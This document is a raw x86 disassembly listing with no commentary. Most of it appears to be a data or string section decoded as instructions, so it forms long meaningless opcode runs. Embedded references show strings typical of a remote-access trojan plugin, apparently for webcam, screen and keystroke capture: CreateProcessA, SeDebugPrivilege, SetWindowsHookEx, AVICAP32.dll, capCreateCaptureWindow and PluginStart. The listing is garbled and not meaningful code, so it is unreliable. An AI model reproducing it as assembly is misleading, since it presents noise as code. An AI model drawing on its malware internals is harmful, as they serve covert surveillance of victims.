js 0x1001e92d
add byte [eax], al
add byte [ecx + 0x6d], cl
dec ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
inc edi
je 0x1001e906
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001e936
jae 0x1001e932
je 0x1001e934
outsd dx, dword [esi]
outsb dx, byte [esi]
push ebx
je 0x1001e942
imul ebp, dword [esi + 0x67], 0x41
add byte [ecx + 0x6d], cl
dec ecx
insd dword es:[edi], dx
dec ecx
insd dword es:[edi], dx
insd dword es:[edi], dx
inc edi
je 0x1001e922
je 0x1001e922
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001e948
js 0x1001e959
add byte [eax], al
add byte [ebp + 0x79], cl
dec ebp
jns 0x1001e92e
jb 0x1001e952
popal
je 0x1001e955
dec ebp
popal
add byte [eax], al
dec ecx
outsb dx, byte [esi]
imul esi, dword [ecx + ebp*2 + 0x61], 0x657a696c
inc ecx
arpl word [eax + eax], bp
add byte [ecx + 0x6c], al
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
inc ecx
je 0x1001e971
inc ecx
outsb dx, byte [esi]
dec ecx
outsb dx, byte [esi]
imul esi, dword [ecx + ebp*2 + 0x61], 0x657a696c
popal
insb byte es:[edi], dx
imul edi, dword [edx + 0x65], 0x646953
add byte [eax], al
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
jp 0x1001e97e
push ebx
imul esp, dword [eax + eax], 0x6e490000
dec ecx
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
imul esi, dword [ecx + ebp*2 + 0x61], 0x657a696c
push ebx
arpl word gs:[ebp + 0x72], si
jne 0x1001e9a1
imul esi, dword [ecx + edi*2 + 0x44], 0x72637365
imul esi, dword [eax + 0x74], 0x726f
add byte [eax], al
push ebx
je 0x1001e99b
inc esp
jae 0x1001e999
jae 0x1001e999
jb 0x1001e9a1
jo 0x1001e9ae
outsd dx, dword [esi]
jb 0x1001e93d
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
invalid
je 0x1001e99b
imul ebp, dword [esi + 0x64], 0x4873776f
ja 0x1001e9bd
dec eax
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0x41
add byte [eax], al
add byte [ebp + 0x6e], dl
push ebp
outsb dx, byte [esi]
add byte [eax], al
push ebp
outsb dx, byte [esi]
push 0x576b6f6f
imul ebp, dword [esi + 0x64], 0x4873776f
imul edx, dword [edi + 0x69], 0x6e
outsd dx, dword fs:[esi]
ja 0x1001e9d4
dec eax
outsd dx, dword [esi]
outsd dx, dword [esi]
imul eax, dword [ebp + 0x78], 0
pop esp
push eax
insb byte es:[edi], dx
jne 0x1001e9d4
imul ebp, dword [esi], 0x67756c50
push eax
insb byte es:[edi], dx
jne 0x1001e9db
insb byte es:[edi], dx
jne 0x1001e9db
imul ebp, dword [esi + 0x45], 0x646e
add byte [eax + 0x6c], dl
push eax
insb byte es:[edi], dx
jne 0x1001e9e7
imul ebp, dword [esi + 0x53], 0x74726174
add byte [eax + 0x6c], dl
push eax
insb byte es:[edi], dx
jne 0x1001e9f3
imul ebp, dword [esi + 0x44], 0x74656c65
add byte gs:[eax], al
add byte [eax], al
and eax, 0x20202073
jae 0x1001e9bb
and byte [eax], ah
and eax, 0x20202073
and eax, 0x73
and byte [0x73], ah
add byte [eax + 0x6c], dl
push eax
insb byte es:[edi], dx
jne 0x1001ea13
imul ebp, dword [esi + 0x44], 0x72637365
imul esi, dword [eax + 0x74], 0xb4ce0000
mov esp, 0xd8d4d3
inc esp
jae 0x1001ea15
jb 0x1001ea1d
jo 0x1001ea2a
add byte [eax], al
into
mov ah, 0xbc
rcl esp, cl
fadd dword [eax]
add dl, dl
sar dword [esi - 0x2b2c4353], 1
fadd dword [eax]
add byte [eax], al
add byte [0x2e2a5c73], ah
and eax, 0x2e2a5c73
sub al, byte [eax]
add byte [eax], ah
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
and byte [eax], al
add byte [eax], al
push edx
inc ebp
inc edi
pop edi
inc edx
dec ecx
dec esi
inc ecx
push edx
pop ecx
add byte [eax], al
push edx
inc ebp
inc edi
pop edi
dec ebp
push ebp
dec esp
push esp
dec ecx
pop edi
push ebx
pop edx
add byte [eax], al
add byte [eax], al
push edx
inc ebp
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
inc esp
push edi
dec edi
push edx
inc esp
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
inc ebp
pop eax
push eax
inc ecx
dec esi
inc esp
pop edi
push ebx
pop edx
add byte [eax], al
add byte [edx + 0x45], dl
push edx
inc ebp
inc edi
pop edi
push ebx
pop edx
add byte [eax], al
pop ebx
and eax, 0xa0d5d73
add byte [eax], al
inc esp
jae 0x1001ea98
or al, byte [eax]
add byte [ebp + 0x73], al
inc esp
jae 0x1001ea98
invalid
jb 0x1001ea95
outsd dx, dword [esi]
jns 0x1001ea6b
jne 0x1001ea9c
jae 0x1001ea9b
jb 0x1001ea2e
add byte [eax], al
push ebp
jae 0x1001ea98
jb 0x1001ea68
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc edx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx + 0x49], bp
outsb dx, byte [esi]
jo 0x1001eaba
je 0x1001ea47
add byte [ebx + 0x79], dl
push ebx
jns 0x1001eabe
invalid
insd dword es:[edi], dx
push eax
popal
jb 0x1001eab3
insd dword es:[edi], dx
je 0x1001eabb
jb 0x1001eacb
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [eax], al
add byte [ebp + 0x53], dl
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push edi
imul ebp, dword [esi + 0x64], 0x7246776f
outsd dx, dword [esi]
add byte [edi + 0x69], dl
push edi
invalid
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x1001eab9
jb str.GetDIBits
insd dword es:[edi], dx
push eax
outsd dx, dword [esi]
imul ebp, dword [esi + 0x74], 0x6c655300
push ebx
insb byte es:[edi], dx
arpl word gs:[edi + ecx*2 + 0x62], si
push 0x65
arpl word [eax + eax], si
add byte [eax], al
inc ebx
jb 0x1001eaf4
popal
je 0x1001eaf7
inc esp
dec ecx
inc edx
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
arpl word [ecx + ebp*2 + 0x6f], si
je 0x1001eb03
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
inc ebx
jb str.CreateProcessA
popal
je 0x1001eb0b
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001eb0c
je 0x1001eb16
bound ebp, qword [ebp + 0x44]
inc ebx
add byte [eax], al
inc edi
inc esp
add byte [edi + 0x44], al
inc edi
inc esp
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebp + 0x6c], al
inc esp
insb byte es:[edi], dx
inc esp
insb byte es:[edi], dx
je 0x1001eb2b
dec edi
bound ebp, qword [edx + 0x65]
arpl word [eax + eax], si
add byte [eax], al
inc esp
insb byte es:[edi], dx
je 0x1001eacd
add byte [eax], al
add byte [ebp + 0x6c], al
inc esp
insb byte es:[edi], dx
je 0x1001eb3b
inc esp
inc ebx
add byte [eax], al
add byte [eax], al
inc edx
imul esi, dword [edx + eax*2 + 0x6c], 0x47000074
inc edi
inc edi
je 0x1001eb2c
dec ecx
inc edx
imul esi, dword [ebx + esi*2], 0x72430000
inc ebx
jb 0x1001eb58
popal
je 0x1001eb5b
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001eb5c
je 0x1001eb66
bound ebp, qword [ebp + 0x42]
imul esi, dword [ebp + ebp*2 + 0x61], 0x43000070
inc ebx
insd dword es:[edi], dx
popal
jo 0x1001eb07
add byte [ebx + 0x72], al
inc ebx
jb 0x1001eb70
popal
inc ebx
jb 0x1001eb70
popal
je 0x1001eb73
push eax
jb str.TerminateProcess
arpl word [ebp + 0x73], sp
jae 0x1001eb57
add byte [eax], al
pop esp
arpl word [ebp + 0x64], bp
js 0x1001eb85
add byte [eax], al
add byte [eax], al
inc ebx
jb 0x1001eb8c
popal
je 0x1001eb8f
push eax
imul esi, dword [eax + 0x65], 0x654b0000
dec ebx
jb 0x1001eba2
jo 0x1001eb93
add byte [eax], al
dec ebx
jb 0x1001eba2
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
dec ebx
jb 0x1001ebb2
insb byte es:[edi], dx
xor esi, dword [edx]
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc edi
je 0x1001eba7
je 0x1001ebb7
jb str.explorer.exe
je 0x1001ebce
jne 0x1001ebca
jo str.SeDebugPrivilege
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [ebx + 0x6c], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001ebca
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
add byte gs:[ecx + ebp*2 + 0x73], al
inc esp
invalid
jae 0x1001ebd3
outsd dx, dword [esi]
outsb dx, byte [esi]
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[esi + ecx*2 + 0x61], si
insd dword es:[edi], dx
push eax
imul esi, dword [eax + 0x65], 0x72655400
push esp
jb 0x1001ebf1
push esp
jb 0x1001ebf1
imul ebp, dword [esi + 0x61], 0x72506574
outsd dx, dword [esi]
outsb dx, byte [esi]
popal
je 0x1001ebee
push eax
jb 0x1001ebfb
arpl word [ebp + 0x73], sp
jae 0x1001eb91
add byte [eax], al
add byte [eax + 0x65], dl
push eax
imul ecx, dword gs:[esi + 0x61], 0x6d
push eax
imul esi, dword [eax + 0x65], 0x53000000
push ebx
add byte [eax], al
push ebx
inc esp
bound esi, qword gs:[ebp + 0x67]
push eax
jb 0x1001ec17
jbe 0x1001ec19
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte gs:[bx + si], al
add byte [eax], al
push ebx
push ebx
add byte [ebx + 0x65], dl
push ebx
push ebx
push 0x6f647475
ja str.AVICAP32.dll
push eax
jb 0x1001ec2e
jbe str.AVICAP32.dll
insb byte es:[edi], dx
add byte gs:[di + 0x78], ah
invalid
invalid
add byte gs:[ebp + 0x78], ah
invalid
invalid
js 0x1001ec3f
jo 0x1001ec3c
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x1001ec38
jb 0x1001ec03
js 0x1001ec3d
add byte [eax], al
add byte [eax], al
dec ecx
outsb dx, byte [esi]
je 0x1001ec45
jb 0x1001ec50
je 0x1001ec37
popal
inc esi
imul ebp, dword [ebp], 0x4d000000
dec ebp
add byte [eax], al
dec ebp
outsd dx, dword [esi]
jp 0x1001ec5d
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
and byte [eax], ch
arpl word [edi + 0x6d], bp
jo 0x1001ec63
je 0x1001ec6d
imul esp, dword [edx + 0x6c], 0x2965
bound ebp, qword [ebp + 0x29]
add byte [eax], al
add byte [eax], al
inc ebx
push esi
imul esp, dword [ebp + 0x6f], 0x706143
add byte [eax], al
arpl word [ecx + 0x70], sp
inc ebx
add byte [ebx + 0x61], ah
invalid
popal
popal
jo 0x1001ec5f
jb 0x1001ec83
popal
je 0x1001ec86
inc ebx
popal
jo 0x1001ec99
jne 0x1001ec99
push edi
imul ebp, dword [esi + 0x64], 0x41776f
inc ecx
add byte [ecx + 0x56], al
inc ecx
push esi
inc ecx
push esi
dec ecx
inc ebx
inc ecx
push eax
xor esi, dword [edx]
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
and esi, dword [ebx]
xor dh, byte [edi]
add byte [eax], al
add byte [ebx], ah
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [ebx + 0x72], al
inc ebx
jb str.ICOpen
popal
je 0x1001ecb3
push edi
imul ebp, dword [esi + 0x64], 0x7845776f
inc ecx
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x1001ec9a
js 0x1001ec98
add byte [ebx + 0x61], ah
arpl word [ecx + 0x70], sp
inc edi
je 0x1001eca3
je 0x1001eca3
jb 0x1001ecca
jbe 0x1001ecc8
jb 0x1001eca9
jae 0x1001eccb
jb 0x1001ecd3
jo str.ICSeqCompressFrameEnd
imul ebp, dword [edi + 0x6e], 0x41
add byte [ecx + 0x43], cl
dec ecx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x1001ecbd
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001ecf0
jae 0x1001ecf4
inc esi
jb 0x1001ece5
popal
insd dword es:[edi], dx
add byte gs:[eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x1001ecd1
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001ed04
jae 0x1001ed08
inc esi
jb 0x1001ecf9
insd dword es:[edi], dx
push ebx
push ebx
je 0x1001ecfe
jb 0x1001ed13
add byte [ecx + 0x43], cl
dec ecx
inc ebx
push ebx
outsb dx, byte gs:[esi]
dec ebp
jae 0x1001ed1d
jae 0x1001ed0c
popal
add byte gs:[bx + si], al
add byte [ecx + 0x43], cl
dec ecx
inc ebx
dec edi
jo 0x1001ed1a
outsb dx, byte [esi]
add byte [eax], al
dec ebp
push ebx
push esi
inc esi
push edi
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001ed30
add byte gs:[ecx + 0x43], cl
dec ecx
inc ebx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001ed45
jae 0x1001ed49
outsd dx, dword [esi]
jb 0x1001ed1f
jb 0x1001ed40
add byte gs:[eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x1001ed29
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001ed5c
jae 0x1001ed60
inc esi
jb 0x1001ed51
insd dword es:[edi], dx
inc ebp
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], dh
xor dh, byte [edx]
xor al, 0x35
add byte [eax], al
xor dh, byte [edx]
xor al, 0x35
xor al, 0x35
cmp ebp, dword [0x362d373b]
cmp esi, dword [edi]
sub eax, 0x4363236
add eax, dword [0x5040208]
xor dh, byte [esi]
add al, 3
add eax, 0x5040208
add al, 5
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [edx], eax
add al, 3
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add eax, dword [0x2010202]
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add eax, dword [ebx]
add dword [edx], eax
add eax, dword [0x4020602]
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add dword [ebx], eax
push es
add al, byte [ecx]
add al, byte [esp + eax]
add dword [edx], eax
add al, 4
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [edx]
add dword [edx], eax
add dword [edx], eax
push es
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x4030003
or dword [ebx + 0x77], ebp
jne 0x1001eea2
cmp dword [edx], ebp
sub eax, 0x2f737571
popal
arpl word [eax + 0x66], bp
jae 0x1001ee69
pushal
insb byte es:[edi], dx
outsd dx, dword [esi]
push 0x79762873
jbe 0x1001ee4c
add al, 3
add dword [edx], eax
add eax, dword [0x1030602]
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add dl, byte [ecx + 0x5702061d]
push edi
jo 0x1001efcc
push 0x6476636b
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
invalid
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0xffffffff
add byte [eax], al
add byte [eax], al
push ebx
outsb dx, byte [esi]
pushal
imul esi, dword [esi + 0x64], 0x756c4a22
jbe 0x1001f064
and dword [ecx + 0x61], edx
jno 0x1001f06c
popal
popal
popal
and eax, 0x616f6046
add eax, dword [ecx]
add dword [eax], ecx
add dword [edx], eax
add al, 3
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x55020302]
push ebp
add eax, 0x55020302
push ebp
pushal
pushal
jno 0x1001f0d4
and cl, byte [ebp + ebp*2 + 0x74]
je 0x1001f0ea
and al, 0x50
pushal
jp 0x1001f0ed
insd dword es:[edi], dx
insw word es:[edi], dx
and dword [esi + 0x6d], eax
jo 0x1001f0f2
insd dword es:[edi], dx
imul edi, dword [eax + 2], 0x1010304
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add al, byte [ebx]
add al, byte [0x2010403]
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + edx*2]
push esp
outsd dx, dword [esi]
arpl word fs:[eax + 0x60], si
and cl, byte [edi + 0x6d]
jno 0x1001f1b2
ja 0x1001f162
push ecx
arpl word [edi + 0x74], si
imul esp, dword [edx + 0x67], 0x21
inc esi
arpl word [ecx + 0x60], si
jno 0x1001f1b6
arpl word [ebp + eax + 2], sp
add al, byte [ecx]
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, dword [edx]
add eax, 0x2010508
add eax, dword [edx]
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add eax, dword [0x1030602]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add esp, dword [eax]
and byte [ecx + 0x7a], dl
invalid
jno 0x1001f2cf
push 0x766c6d53
and byte [edi + 0x42], bl
push 0x644d616e
sub ch, byte gs:[bx + 0x78]
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [0x2010403]
add eax, dword [ecx + eax]
add al, byte [edx]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x5020302
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x38201], al
add byte [esi + 0x4d], bh
jle 0x1001f3b3
dec eax
jp 0x1001f369
add byte [eax], al
add byte [eax + 0x41], cl
dec eax
inc ecx
push edx
inc esp
push edi
inc ecx
push edx
inc ebp
pop esp
inc esp
inc ebp
push ebx
inc ebx
push edx
dec ecx
push eax
push esp
dec ecx
dec edi
dec esi
pop esp
push ebx
jns 0x1001f3f7
je 0x1001f3eb
insd dword es:[edi], dx
pop esp
inc ebx
outsb dx, byte gs:[esi]
je 0x1001f3ff
popal
insb byte es:[edi], dx
push eax
jb 0x1001f401
arpl word [ebp + 0x73], sp
jae 0x1001f406
jb 0x1001f3f5
xor byte [eax], al
add byte [edx], bh
add byte [eax], al
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
pop esp
dec esi
je 0x1001f40a
and eax, 0x64
push ebx
je 0x1001f407
jb 0x1001f42d
imul esp, dword [ebx + 0x65], 0x74617453
jne 0x1001f433
add byte [eax], al
add byte [eax], al
dec ebp
jns 0x1001f3e7
push edi
imul ebp, dword [esi + 0x33], 0x70412032
